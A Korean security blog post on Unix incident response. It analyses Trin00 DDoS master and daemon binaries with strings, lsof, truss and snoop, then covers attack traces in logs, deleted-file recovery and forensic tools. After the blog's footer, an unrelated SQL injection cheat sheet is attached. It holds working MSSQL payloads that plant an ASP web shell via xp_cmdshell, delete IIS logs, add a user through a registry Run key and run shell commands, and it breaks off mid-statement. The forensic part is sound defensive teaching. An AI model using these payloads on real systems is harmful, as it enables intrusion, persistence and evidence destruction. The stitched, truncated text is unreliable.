  이러한 바이너리 프로그램을 분석하는 방법에는 정적인 분석방법(static analysis)과 동적인 분석방법(dynamic analysis)이 있다. 정적인 분석방법은 공격 프로그램을 실제로 실행시키지 않고 disassembler, strings 등과 같은 도구 이용하여 분석하는 방법이고, 동적인 분석방법은 공격 프로그램을 실행시켜 가며, 디버거, 스니퍼, 프로세스 추적 도구 등을 이용하여 바이너리의 변화, 입출력 값 등을 분석하여 프로그램의 동작을 알아내는 방법이다. 일반적으로 이러한 방법들을 병행 사용하여 분석을 하게 된다. 

  소스코드가 남아 있는 경우라면, 소스코드를 분석하면 되겠지만, 공격 프로그램이 바이너리 파일로만 남겨져 있을 경우에는 일반적으로 먼저"strings" 명령을 이용하여 바이너리를 분석하게 된다. "strings" 명령은 파일에서 프린트 가능한 문자들을 출력해 주므로, 공격 프로그램의help 문 등을 볼 수 있게되고, 어느 정도 프로그램의 기능을 알 수 있게 된다. 

  "strings" 명령으로만 부족할 경우에는 실행되고 있는 프로그램이 사용하는 파일, 포트 등에 대하여 lsof를 이용하여 확인할 수 있다. 또한"strace"(Linux), "truss"(Solaris) 등의 명령을 사용하여 공격 프로그램을 직접 실행시키고 프로그램이 사용하는 시스템콜에 대한 분석을 하는 방법도 있다. 

  다음은 국내의 한 피해 시스템에서 발견된 DDoS 공격도구인 Trin00 Daemon  Master에 대하여 사후 분석한 내용이다. 국외 사이트로부터 국내의 어떤 시스템이 UDP Flooding 공격을 하고 있다는 항의 메일을 받고 분석을 시작하였다. 시스템 분석을 통하여 tsolnmb"라는 새로운 공격 프로그램을 발견하였다.  

  앞서 설명한 다른 많은 분석방법을 포함하여, 주로 바이너리를 분석하는 부분에 대하여 설명하도록 한다. 먼저 "strings" 명령을 이용하여 해당 바이너리의 기능이 무엇인지 분석해보고, 좀더 자세한 분석을 위하여 바이너리를 실행시키고 시스템에서 어떠한 변화가 있는지를 살펴본다. 

      #strings tsolnmb  

      209.xxx.xxx.130

      207.xxx.xxx.19

      129.xxx.xxx.40

      socket

      bind

      recvfrom

      %s %s %s

      aIf3YWfOhw.V.

      PONG

      *HELLO* 

  strings 명령을 이용하여 바이너리의 내용을 살펴본 결과 socket, bind, recvfrom 등 네트워크 프로그램이라는 것을 알 수 있으며, PONGHELLO라는 스트링은 해당 프로그램이 실행되면서 어떠한 응답을 주고받음을 알 수 있도록 한다. 그리고 나열된 IP 주소는 본 프로그램과 통신을 주고받는 사이트라는 것을 추측할 수 있도록 해준다. 

  다음은 lsof를 이용하여 "tsolnmb" 이라는 프로그램이 사용하는 파일, 포트 등을 찾아 본 결과로 UDP 27444번 포트를 사용함을 알 수 있다. 

      # ps -ef | grep tsolnmb

          root 27518 27428  0 16:00:43 pts/7    0:00 grep tsolnmb

          root 27516     1  0 16:00:25 pts/7    0:00 ./tsolnmb

      # ./lsof -p 27516

      COMMAND   PID USER   FD   TYPE     DEVICE SIZE/OFF   NODE NAME

      tsolnmb 27516 root  cwd   VDIR       32,0      512  13581 /user/cert/test

      tsolnmb 27516 root  txt   VREG       32,0    11460  13586 /user/cert/test/tsolnmb

      tsolnmb 27516 root  txt   VREG       32,8    19304 134892 /usr/lib/libmp.so.2

      ...

      tsolnmb 27516 root    3u  inet 0x60ce6850      0t0    UDP *:27444 (Idle)

      ...

  다음은 Solaris "truss" 명령을 이용하여 공격 프로그램을 실행시키면서, 해당 바이너리가 호출하는 시스템 콜을 분석한 것이다. 보이는 것처럼 프로세스가 실행되면서 "*HELLO*"라는 메시지를 어디론가 보낸다는 것을 알 수 있다. 

      # truss ./tsolnmb

      execve("./tsolnmb", 0xEFFFFE00, 0xEFFFFE08)  argc = 1

      open("/dev/zero", O_RDONLY)                     = 3

      ...

      bind(3, 0xEFFFFDC8, 16)                         = 0

      so_socket(2, 1, 17, "", 1)                      = 4

      sendto(4, " * H E L L O *", 7, 0, 0xEFFFF7F0, 16) = 7

      fork()                                          = 27572

      setpgid(27572, 27572)                           = 0 

  그리고 해당 바이너리를 실행할 때, 네트워크 트래픽을 분석해 보면 다음과 같이 특정 시스템으로 패킷이 전송되는 것을 발견할 수 있는데 이는 위의 sendto()에서 비롯된 것이고 특정 패킷을 보내는 주소는 "strings" 명령으로 확인한 IP 주소들이다. 

      # snoop udp

      Using device /dev/hme (promiscuous mode)

      test.certcc.or.kr -> 129.xxx.xxx.40 UDP D=31335 S=34041 LEN=15

      test.certcc.or.kr -> 207.xxx.xxx.19 UDP D=31335 S=34042 LEN=15

      test.certcc.or.kr -> 209.xxx.xxx.130 UDP D=31335 S=34043 LEN=15 

  우리는 피해 시스템 분석을 하면서 발견한 "tsolnmb"라는 바이너리 프로그램을 분석하여 공격 프로그램은 UDP 27444번 포트를 사용하고 있으며, 상대편은 UDP 31335번 포트를 사용한다는 사실을 알아냈다. 따라서 해당 포트(UDP 27444)를 모니터링하면 언젠가는 공격자가 접속해 올 것이라는 것을 알 수 있다. 모니터링 부분은 다음 장에서 다룬다. 

  피해 시스템에서 발견된 tsolnmb는 발견당시 cron 테이블에 등록되어 주기적으로 실행되도록 되어 있었다. 여기서 우리는 tsolnmb는 프로그램내에 코딩되어 있는 IP 주소로 주기적으로 "*HELLO*"라는 메시지를 보낸다는 것을 알 수 있는데, 이는 아마도 tsolnmb 프로그램의 상태를 알려주기 위함이라고 추측된다. , "이 시스템에 tsolnmb가 설치되어 동작하고 있습니다"라는 메시지를 주지적으로 공격자에게 보내는 것이다. 

  우리는 바이너리 프로그램을 분석하여 공격자(또는 다른 해킹 피해자일 수 있다) IP 주소를 확인하였고 "침해사고대응방법 및 절차"에 따라 해당 사이트 관리자와 연락하여 tsolnmb 프로그램과 통신하는 프로그램인 "tserver1900"에 관한 정보(어디에 설치되어 있고, 어떤 기능을 하는지 등)를 획득하였다.  

  또한 피해 시스템이 아주 깨끗하게 공격당한 점과 발견된 프로그램이 여러 시스템과 통신한다는 점에 주의를 기울이고 동일 피해 사이트내의 비슷한 환경의 Solaris 서버에 대하여 조사를 하였다. 모든 시스템을 다 뒤져볼 수는 없으므로 앞서 분석된 정보를 이용하여 다른 피해 시스템을 찾는 방법을 사용하였다. , UDP 27444, 31335번 포트가 열려져 있는 시스템을 확인하는 작업을 하였다. 

      # namp -sU -p 27444,31335 xxx.xxx.xxx.1-254 

  사이트 내의 많은 시스템에서 27444, 또는 31335번 포트가 열려 있는 시스템을 확인하였고 그 중 두 포트가 모두 열려있는 시스템에 들어가 분석한 결과 tsolnmb tserver1900 이라는 공격 프로그램을 모두 발견할 수 있었다. 우리는 최선을 다해 공격자를 추적하여야 한다. 따라서 비슷한 방법으로 "tserver1900"을 분석한다. 

  다음은 루트킷이 설치된 환경에서 tserver1900 프로그램을 발견한 방법을 설명한다. 우리는 이미 공격프로그램이 31335번을 사용하고 있음을 알고 있으므로 이 사실을 이용하여 다음과 같이 해당 프로세스를 찾아낸다. 

      # ./lsof -i:31335

      COMMAND     PID USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME

      tserver19 29168 root    3u  inet 0x611f91b0      0t0  UDP *:31335 (Idle) 

  프로그램 이름이 tserver1900 임을 확인하였고 프로세스 번호가 29168임을 확인하고 다시 lsof 명령을 이용하여 더 자세한 정보를 확인해 본다. 

      # ./lsof -p 29168

      COMMAND     PID USER   FD   TYPE     DEVICE SIZE/OFF   NODE NAME

      tserver19 29168 root  cwd   VDIR       32,0      512  13581 /usr/bin/

      tserver19 29168 root  txt   VREG       32,0    40504   3459 /user/bin/tserver1900

      ...

      tserver19 29168 root  txt   VREG       32,8    53656 134904 /usr/lib/libsocket.so.1

      tserver19 29168 root  txt   VREG       32,8   721924 134972 /usr/lib/libnsl.so.1

      ...

      tserver19 29168 root    3u  inet 0x611f91b0      0t0    UDP *:31335 (Idle)

      tserver19 29168 root    4u  inet 0x611f8d30      0t0    TCP *:27665 (LISTEN) 

  tserver1900 "/usr/bin" 디렉토리에 설치되어 있음을 알 수 있으며, UDP 31335번 포트이외에도 TCP 27665번 포트를 사용하고 있음을 알 수 있다. 이제 tserver1900이 어떤 프로그램인지 분석해본다. 

      # strings tserver1900

      ---v

      trinoo %s  : 원래 공격프로그램 이름이 trinoo라는 것을 알수있음

      v1.07d2+f3+c  : trinoo 프로그램 버전이겠죠 ?

      ...

      0nm1VNMXqRMyM : 정확히 뭔지 모르지만 암호화된 패스워드를 사용하는 듯함

      ...

      DoS: usage: dos <ip> : DOS 공격 프로그램임을 암시

      ...

      help   : trinoo 사용 설명

      Commands: info bcast mping mtimer dos mdos mdie quit nslookup

      ...

      help bcast: Lists broadcasts.

      help mping: Sends a PING to every Bcasts.

      help mtimer: Sets amount of seconds the Bcasts will DoS target. 

      ...

      help mdie: WARNING DO NOT USE!

      Disables all Bcasts. Makes the daemon die.   : Bcasts/daemon disable 시키는 명령, 그러면 tsolnmb daemon 또는 Bcasts 인가 ?

      help quit: Closes this connection!

      help mstop: Attempts to stop DoS.

      ... 
 

      # ./tserver1900  : 분석 시스템으로 가져와 실행 시켜본 결과

      ??  

  , 무엇일까? 뭘하란 말이지, 패스워드가 걸려있는 것일까? truss 명령으로 확인해 보도록 한다. 

      # truss ./tserver1900

      execve("./tserver1900", 0xEFFFFE60, 0xEFFFFE68)  argc = 1

      open("/dev/zero", O_RDONLY)                     = 3

      ...

      so_socket(2, 1, 17, "", 1)                      = 3

      so_socket(2, 2, 0, "", 1)                       = 4

      ioctl(1, TCGETA, 0xEFFFE56C)                    = 0

      ioctl(0, TCGETA, 0xEFFFF2C4)                    = 0

      ?? write(1, " ? ?  ", 3)                                = 3

      read(0, 0xEF6AA5C0, 1024)       (sleeping...) 
 

  "truss" 명령으로 시스템콜을 확인한 결과 프로그램에서 입력을 기다리고 있음을 알 수 있다. truss 또는 strace는 공격 프로그램의 분석뿐만 아니라 공격자를 모니터링하는데도 사용할 수 있다. 모니터링은 다른 부분에 다루지만, 앞서 truss에 대한 사용법에 대해 설명해 왔으므로 여기서 설명하고자 한다. truss, strace 프로그램의 옵션을 자세히 보면, 현재 실행되고 있는 프로세스의 시스템콜에 대해서도 추적할 수 있다. 다음과 같이 "-p" 옵션을 사용하여 현재 실행되고 있는 프로세스의 시스템콜을 추적하게 되며, -f 옵션을 추가 사용하여, 자식 프로세스의 시스템콜 까지도 추적할 수 있다.  

      # truss -f -p PID 

  앞서 예의 피해시스템에서 tserver1900 프로그램이 실행되고 있었는데, 다음과 같은 명령으로 해당 프로그램에 접속해 오는 공격자의 활동을 모니터링 할 수 있다. 우리는 몇일을 기다린 끝에 다음과 같은 결과를 얻을 수 있었다. 파일 입출력 또는 네트워크 관련 시스템콜을 감시하면, 프로그램이 어떠한 기능을 하는지 또는 어떠한 데이터가 오고가는지 짐작할 수 있으므로 "egrep"을 이용하여 필요한 데이터만을 캡쳐 하였다. 

      # truss -f -p 29168 2>&1 | egrep "read|recv|write|send|exec|socket|connect"       

      29168:  read(5, " b e t a a l m o s t d o".., 1024)     = 16

      29168:  write(5, " t r i n o o   v 1 . 0 7".., 38)      = 38

      29168:  write(5, " t r i n o o >  ", 8)                 = 8

      29168:  read(5, " i n f o", 1024)                   = 6

      29168:  write(5, " T h i s   i s   t h e  ".., 98)      = 98

      29168:  write(5, " t r i n o o >  ", 8)                 = 8

      29168:  read(5, " m p i n g", 1024)                 = 7

      29168:  write(5, " m p i n g :   S e n d i".., 39)      = 39

      29168:  so_socket(2, 1, 17, "", 1)                      = 6

      29168:  read(7, " M R l Z s 0 p G D 2 D /".., 8192)     = 25

      29168:  sendto(6, " p n g   l 4 4 a d s l", 11, 0, 0xEFFFF330, 16) = 11

      ... 

  -rall, -wall 옵션을 사용하면 read, write 시스템콜로 전달되는 모든 데이터를 저장할 수 있어 보다 자세한 내용을 알 수 있다. 다음은 -o 옵션을 이용하여 결과를 파일(log)로 저장하고, 그 중에 read|recv|write|send|exec|socket|connect 시스템콜에 대한 내용만을 추출한 것이다 

      # truss -rall -wall -f -o log -p 29168 

      29168: poll(0xEFFFD350, 3, 1000)   = 1

      29168: read(5, 0xEFFFF888, 1024)   = 16

      29168:    betaalmostdone

      29168: write(5, 0xEFFFF488, 38)   = 38

      29168:    trinoo  v1.07d2+f3+c..[rpm8d/cb4Sx/]

      29168: write(5, "trinoo> ", 8)   = 8

      29168: read(5, "", 1024)    = 2

      29168: write(5, "trinoo> ", 8)   = 8

      29168: read(5, "info", 1024)   = 6

      29168: write(5, 0xEFFFF488, 98)   = 98

      29168:    This is the "trinoo" AKA DoS Project master server. [v1.07d2+f3+

      29168:    c]Compiled: 16:35:30 Sep 20 1999

      29168: write(5, "trinoo> ", 8)   = 8

      29168: read(5, "mping", 1024)   = 7

      29168: write(5, 0xEFFFF488, 39)   = 39

      29168:    mping: Sending a PING to every Bcasts.

      29168: so_socket(2, 1, 17, "", 1)   = 6

      29168: read(7, 0x0002B034, 8192)   = 25

      29168:    MRlZs0pGD2D/8YAsZ0vqiwK.

      29168: sendto(6, "png l44adsl", 11, 0, 0xEFFFF330, 16) = 11

      29168: read(7, 0x0002B034, 8192)   = 0

      29168: write(5, "trinoo> ", 8)   = 8

      29168: recvfrom(3, "PONG", 1024, 0, 0xEFFFFCF8, 0xEFFFFCCC) = 4

      29168: write(5, 0xEFFFF488, 35)   = 35

      29168:    PONG 1 Received from xxx.xxx.xxx.x

      29168: read(5, 0xEFFFF888, 1024)   = 20

      29168:    dos yyy.yyy.yyy.yyy

      29168: write(5, 0xEFFFF488, 31)   = 31

      29168:    DoS: Packeting yyy.yyy.yyy.yyy.

      29168: so_socket(2, 1, 17, "", 1)   = 6

      29168: read(7, 0x0002B034, 8192)   = 25

      29168:    MRlZs0pGD2D/8YAsZ0vqiwK.

      29168: sendto(6, 0xEFFFF488, 26, 0, 0xEFFFF330, 16) = 26

      29168:    aaa l44adsl yyy.yyy.yyy.yyy

      29168: read(7, 0x0002B034, 8192)   = 0

      29168: write(5, "trinoo> ", 8)   = 8

      29168: read(5, "mstop", 1024)   = 7

      29168: write(5, "trinoo> ", 8)   = 8

      29168: read(5, "quit", 1024)   = 6

      29168: write(5, "bye bye.", 9)  = 9 

  그러면 27665번 포트로 접속하여 위에서 나온 내용대로 따라해 보도록 하자. 

      # telnet localhost 27665

      Trying 127.0.0.1...

      Connected to localhost.

      Escape character is '^]'.

      betaalmostdome    : 패스워드

      trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] : trinoo 버전 정보 

      trinoo> info    : trinoo 프로그램 정보

      This is the "trinoo" AKA DoS Project master server. [v1.07d2+f3+c]

      Compiled: 16:35:30 Dec 20 1999

      trinoo> mping

      mping: Sending a PING to every Bcasts.

      PONG 1 Received from xxx.xxx.xxx.x 

      trinoo>dos yyy.yyy.yyy.yyy   : yyy.yyy.yyy.yyy 사이트 DOS 공격

      DoS: Packeting yyy.yyy.yyy.yyy.

      trinoo> mstop 

  지금까지 우리는 유닉스의 몇몇 명령을 이용하여 공격 프로그램을 분석하였고, 또한 공격자를 모니터링하여 공격자가 어느 사이트를 공격하는지도 알아낼 수 있었다. 분석을 종합해보면, tsolnmb tserver1900 프로그램과 통신하여 공격을 수행하는 프로그램이며, 공격자는tserver1900 TCP 27665 포트에 접속하고 tsolnmb에게 공격명령을 내리는 것으로 추측된다. 마지막 남은 숙제는 TCP 27665 포트를 모니터링하여 공격자가 접속해 오기를 기다려 공격자의 IP 주소를 알아내는 것이다.  
 

4.6 로그 파일 분석 

  로그 파일분석을 통한 침입자 추적은 흔히 실패로 돌아가는 경우가 많다. 침해사고 분석시 가장 많이 경험하게 되는 것은 로그 파일에 무수히 많은 스캔공격, 침입흔적을 발견하게 되는 경우이다. "아하! 한 녀석만 들어온 것이 아니라 수많은 녀석들이 왔다 갔구나", 이럴 경우 추적하고 있는 침입자 대상이 없어지는 것과 마찮가지가 된다. 또 다른 경우에는, 해당 침해사고와 관련된 침입자의 흔적만 없고 다른 침입자들의 흔적만이 가득히 쌓여있는 경우를 많이 발견한다. 그리고 또 다른 경우에는 공격흔적은 있는데 공격자의 소스 IP가 남지 않는 공격로그가 있다. 마찮가지로 아무튼 우리는 최선을 다해 공격자의 흔적을 찾아야만 한다. 

  로그 파일에 접근하는 방법은 두 가지 방법이 있다. 첫 번째는 앞서 설명한 시스템의 침입흔적을 먼저 찾아내고 침입 시간대를 가능한 한 근접하게 추측한다. 그리고 나서 로그파일에서 해당 시간대의 로그를 찾아 확인하는 방법이다. 두 번째는 항의 메일에 기록된 시간대(로그나 시간정보가 있을 경우에)를 가지고 로그파일부터 확인을 한 뒤에 시스템을 분석하는 방법이 있다. 필자는 경험상 시스템 파일부터 조사를 한 뒤 로그파일을 분석한다. 이는 로그 파일 분석을 제일 마지막에서 다룬 이유이기도 하다. 

  만약 로그파일에 공격 흔적이 남아 있다면(공격자가 로그를 지우지 않았고 로그에 남는 형태의 공격일 경우에만 해당) 우리는 무엇을 얻을 수 있는가? 그것은 침입방법과 공격 시스템의 IP 주소이다. 파일 시스템 분석을 통하여 침입자가 시스템에서 무엇을 했는지, 어떻게 침입했는지에 대하여 추측할 수 있으며, 로그파일을 통해 해당 시스템에 침입해온 방법 과 공격 시스템의 IP를 정확히 확인할 수 있는 것이다. 

  다음은 시스템이 공격을 받았을 경우, 일반적으로 나타나는 로그 파일의 형태이다. Buffer Overflow 공격의 경우 이상한 문자들이 남게되며,취약점 스캔공격의 경우에는 짧은 시간에 많은 서버로의 접속로그가 남게 된다. 일반적으로 평소와 다른 형태의 로그 형태를 탐지하면 된다. 

      o 일반적인 스캔공격 흔적 

      < /var/log/secure 파일 >

    Apr 14 19:18:56 victime in.telnetd[11634]: connect from xxx.168.11.200

    Apr 14 19:18:56 victime imapd[11635]: connect from xxx.168.11.200

    Apr 14 19:18:56 victime in.fingerd[11637]: connect from xxx.168.11.200

    Apr 14 19:18:56 victime ipop3d[11638]: connect from xxx.168.11.200

    Apr 14 19:18:56 victime in.telnetd[11639]: connect from xxx.168.11.200

    Apr 14 19:18:56 victime in.ftpd[11640]: connect from xxx.168.11.200

    Apr 14 19:19:03 victime ipop3d[11642]: connect from xxx.168.11.200

    Apr 14 19:19:03 mozart imapd[11643]: connect from xxx.168.11.200

    Apr 14 19:19:04 mozart in.fingerd[11646]: connect from xxx.168.11.200

    Apr 14 19:19:05 mozart in.fingerd[11648]: connect from xxx.168.11.200  
     

      o 버퍼오버플로우 취약점을 이용한 침입 공격 흔적 

      < /var/log/messages 파일 >

      Feb 23 07:51:39 ns scandetd: sunrpc connection attempt from xxx.xxx.xxx.16

      Feb 23 08:19:29 ns rpc.statd[448]: gethostbyname error for ^X??X??Y??Y??Z??Z??[??[?

      ffff750  80497108052c20687465676 274736f6d616e797265206520726f7220726f66

      bffff718         bffff719  bffff71a   bffff71b릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱

      릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱

      릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱

      릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

      Feb 23 08:19:34 ns scandetd: sunrpc connection attempt from xxx.xxx.xxx.170

      Feb 23 08:19:40 ns scandetd: port 39168 connection attempt from xxx.xxx.xxx.170

      Feb 23 08:23:22 ns useradd[1391]: new user: name=cgi, uid=0, gid=0, home=/home/cgi,

                  shell=/bin/bash

      Feb 23 08:23:33 ns PAM_pwdb[1392]: password for (operator/11) changed by ((null)/0)

      Feb 23 08:23:54 ns PAM_pwdb[1393]: password for (cgi/0) changed by ((null)/0)

      Feb 23 08:24:25 ns scandetd: telnet connection attempt from xxx.xxx.xxx.net

      Feb 23 08:24:47 ns PAM_pwdb[1396]: (login) session opened for user operator by (uid=0) 
 

      o 웹서버 취약점 스캐닝 공격 흔적 

      < /var/log/httpd/access_log 파일 >

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf HTTP/1.0" 302 192

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi HTTP/1.0" 404 169

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi HTTP/1.0" 404 168

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler HTTP/1.0" 404 168

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais HTTP/1.0" 404 168

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail HTTP/1.0" 404 172

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172

      ...

      xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 172  

  만약 지금까지 설명한 방법을 사용하여 침입흔적을 찾지 못했다면 침입자 추적은 "실패" 또는 "장기전"으로 들어간다. 이는 공격자가 자신의 흔적(공격 흔적이 아닌 공격자 시스템의 IP 주소를 말함)을 완전히 제거하였거나 또는 분석자가 침입흔적을 제대로 찾아내지 못했음을 의미한다.  

  이 시점에서는 두 가지 갈림길에 서게 된다. "침입자 추적을 포기하고 사고수습에 들어가느냐 아니면 계속 침입자를 추적할 것이냐" 선택은 사이트 관리자의 몫이다. 침입자를 계속 추적하기 위해서는 침입자 모니터링 단계에 들어가야 하며, 이는 지금까지 분석한 자료를 바탕으로 어떠한 방법으로 어떠한 네트워크 접속을 모니터링하여 침입자를 찾아낼 것인가를 결정하고 준비하여야 한다. 아무튼 우리는 최선을 다해 공격자의IP 주소를 찾아야만 한다. 이부분은 "IV. 침입자 모니터링" 에서 다루도록 한다.  
 

4.7 지워진 파일 복구 

  공격자는 기본적으로 자신이 침입한 흔적을 삭제한다. 로그파일 자체를 삭제하거나, 로그파일 내용 중 자신이 공격했던 흔적만을 삭제하는 경우가 있으며, 공격에 사용했던 공격 스크립트, 프로그램, 데이터 파일 등을 삭제하게 된다. 이러한 삭제된 파일에 대한 정보를 알수 있다면, 피해 시스템을 분석하는데 매우 중요한 자료가 될 것이다.  

  일반적으로 유닉스 시스템에서 파일이 삭제되면 파일 시스템의 특성으로 인하여 파일의 복구가 불가능하다고 알려져 있으나, 사실 많은 경우 복구가 가능하다. 유닉스에서 "rm" 등의 명령으로 파일을 삭제하게 되면 파일과 관련된 모든 정보가 없어지는 것이 아니라, 몇몇 정보만 파괴되거나, 단순히 "사용되지 않음"으로 표시되어 사용할 수 없게 되는 것이다. 그리고 다른 파일 시스템 활동이 있게되면 이 사용되지 않는 부분을 다시 사용하게 되고, 이때 원래 있던 정보가 사라지게 된다. 하지만 이러한 삭제된 파일에 대한 정보는 비록 활발한 파일시스템 사용이 있더라도, 비교적 오랜기간 유지된다.  
 
 
 

  유닉스에서 파일사이즈가 클 경우에는 디스크의 여기저기에 나뉘어져서 저장(file fragmentation)이되는데, 이는 지원진 파일을 복구하기 힘들게 한다. 하지만 요즘 시스템은 파일시스템의 "Locality" 능력(하나의 파일을 가능한 한 가까운 위치에 저장하는 기능)이 뛰어나기 때문에 파일 분할이 많이 일어나지 않고, 따라서 지워진 파일을 복구하기가 용이하다. 특히, 리눅스의 경우 파일을 삭제하더라도 12개까지의 파일 데이터 블록(fragmentation) 정보를 유지하기 때문에 파일복구가 매우 용이하다. 다음은 유닉스 파일시스템의 기본적인 구조를 보여주고, 파일이 삭제될 때 유닉스 파일시스템의 변화를 보여준다. 
 

      저장위치   파일정보   삭제시변화

      --------------------------------------------------------------------------------------------------------------------

      directory   name(파일이름)  보존(연결해지)

      --------------------------------------------------------------------------------------------------------------------

      inode block  owner   보존

            group ownership  보존

                        last read access time  보존

                        last write access time  보존

                        last attribute change time 삭제된 시간

                        delete time(Linux only) 삭제된 시간 

                        directory reference count 0(Zero)

                        file type   보존(Linux), 파괴(Other)

                        access permissions  보존(Linux), 파괴(Other)

                        file size   보존(Linux), 파괴(Other)

                        data block addresses  보존(Linux), 파괴(Other)

      ----------------------------------------------------------------------------------------------------------------------

      data blocks  contents(파일내용)  보존, 연결해지(non-Linux)

      ---------------------------------------------------------------------------------------------------------------------- 

      * Reference : Dr. Dobb's, http://www.ddj.com/ 
 

  하지만 파일이 삭제되고 난 후 다른 수많은 파일 시스템 사용이 있을 경우에는 다른 내용으로 뒤덮여 쓰일 수가 있다. 또한 공격자가 이러한 복구방법에 대비하여 안전하게 파일을 깨끗이 지울 경우에는 복구할 수 없게 된다. 아무튼 우리는 최선을 다해 공격자의 흔적을 찾아야만 한다. 

  리눅스 및 일반 유닉스 시스템에서 지워진 파일을 복구할 수 있도록 지원해 주는 공개 도구가 있다. 우리는 이러한 도구를 사용하여 앞서 설명한 보존되는 정보를 가지고 어느 정도 삭제된 파일을 복구할 수 있다. 주의할 점은 이러한 도구를 사용할 때 복구하고자하는 파일이 위치한 파티션에서 작업을 하면 해당 파일내용을 덮어쓰기 때문에 파일이 완전히 파괴될 수 있다. 따라서, 도구의 설치 및 작업을 다른 파티션에서 하거나 준비된 분석 시스템에서 해야 한다. 지워진 파일을 복구하는 도구에 대한 설명은 "III. 피해 시스템 분석도구"에서 설명한다. 
 
 

III. 피해 시스템 분석 도구 

1. chkrootkit 

chkrootkit은 대부분의 공개된 루트킷을 탐지해 주는 도구로 대부분의 Unix, Linux 시스템상에서 컴파일되고 실행된다. 피해 시스템 분석할 때 매우 편리하고 효율적으로 rootkit을 탐지할 수 있는 도구이다. 다음 사이트에서 다운로드 받을 수 있다.

  

                http://www.chkrootkit.org

  

 위 도구는 인터넷 웜을 포함한 현재까지 알려진 대부분의 루트킷을 탐지할 수 있다. 하지만 공격자가 루트킷을 변형시켜 사용할 경우에는 잘 탐지하지 못할 수도 있음을 고려하여야 한다.


 

2. TCT(The Coroners Toolkit) 

 경험적인 피해 시스템 분석방법을 프로그램으로 만들어 놓은 아주 훌륭한 도구 이다. 피해 시스템으로부터 다수의 정보를 자동으로 수집하는 기능, MAC time 분석 지원, 지워진 파일 복구 기능 등을 포함하고 있다. 

3. lsof(List Open File) 

 현재 실행되고 있는 특정 프로세스가 참조하는 파일에 대한 정보를 알려주는 도구로 특정 포트를 사용하는 프로세스의 정보도 알 수 있다. 피해를 입은 유닉스 시스템을 조사하는데 필수적인 도구이다. 

       다운로드 사이트: ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/

      한글 설명: http://security.kaist.ac.kr/docs/lsof.html 

4. 기타 

 다음 사이트에서 시스템 분석과 관련된 대부분의 문서 및 도구를 정리해 놓았으므로 이를 참조하기 바란다. 

       http://www.securitymap.net/sp/sp-index.html 
 
 

[Reference] 


// www.securitymap.net

'Security' 카테고리의 다른 글

Windows 피해시스템 분석  (0) 2017.01.08
버퍼 오버플로우(Buffer overflow)  (0) 2017.01.08
SQL Injection 기법 정리  (0) 2017.01.08
모의해킹 시나리오 정리  (0) 2017.01.08
해킹툴이 사용하는 포트  (0) 2017.01.08

#########################################

# SQL Injection에 의해 자주 생성되는 테이블 명

#########################################

D99_CMD, D99_REG, D99_Tmp, DIY_TEMPCOMMAND_TABLE, t_jiaozhu, Siwebtmp,
NB_Commander_Tmp, comd_list, Reg_Arrt,  jiaozhu, Reg_Arrt, xiaopan, DIY_TEMPTABLE,
heige, kill_kk, SC_LOG, SC_TRAN

 

 

#########################################

# CHECK

#########################################

and 1=(select @@version) //version

 

and 1=(IS_SRVROLEMEMBER('sysadmin')) // 전체 권한(sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin)

 

and 1=(IS_MEMBER('db_owner')) // 해당 DB 권한

 

;declare @a int;--  // 사용여부

and 0<>db_name() // DB명

and user>0 // USER명

 

 

#########################################

# 중국 해커들이 애용하는 공격패턴

#########################################

;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- // File

;exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt' // LOG

 

;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' // Registry

 

DROP TABLE kill_kk;CREATE TABLE kill_kk(subdirectory VARCHAR(100)윕
depth VARCHAR(100)윕[file] VARCHAR(100)) Insert kill_kk
exec master..xp_dirtree "D:/"윕 1윕1-- // Table 생성

 

DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF 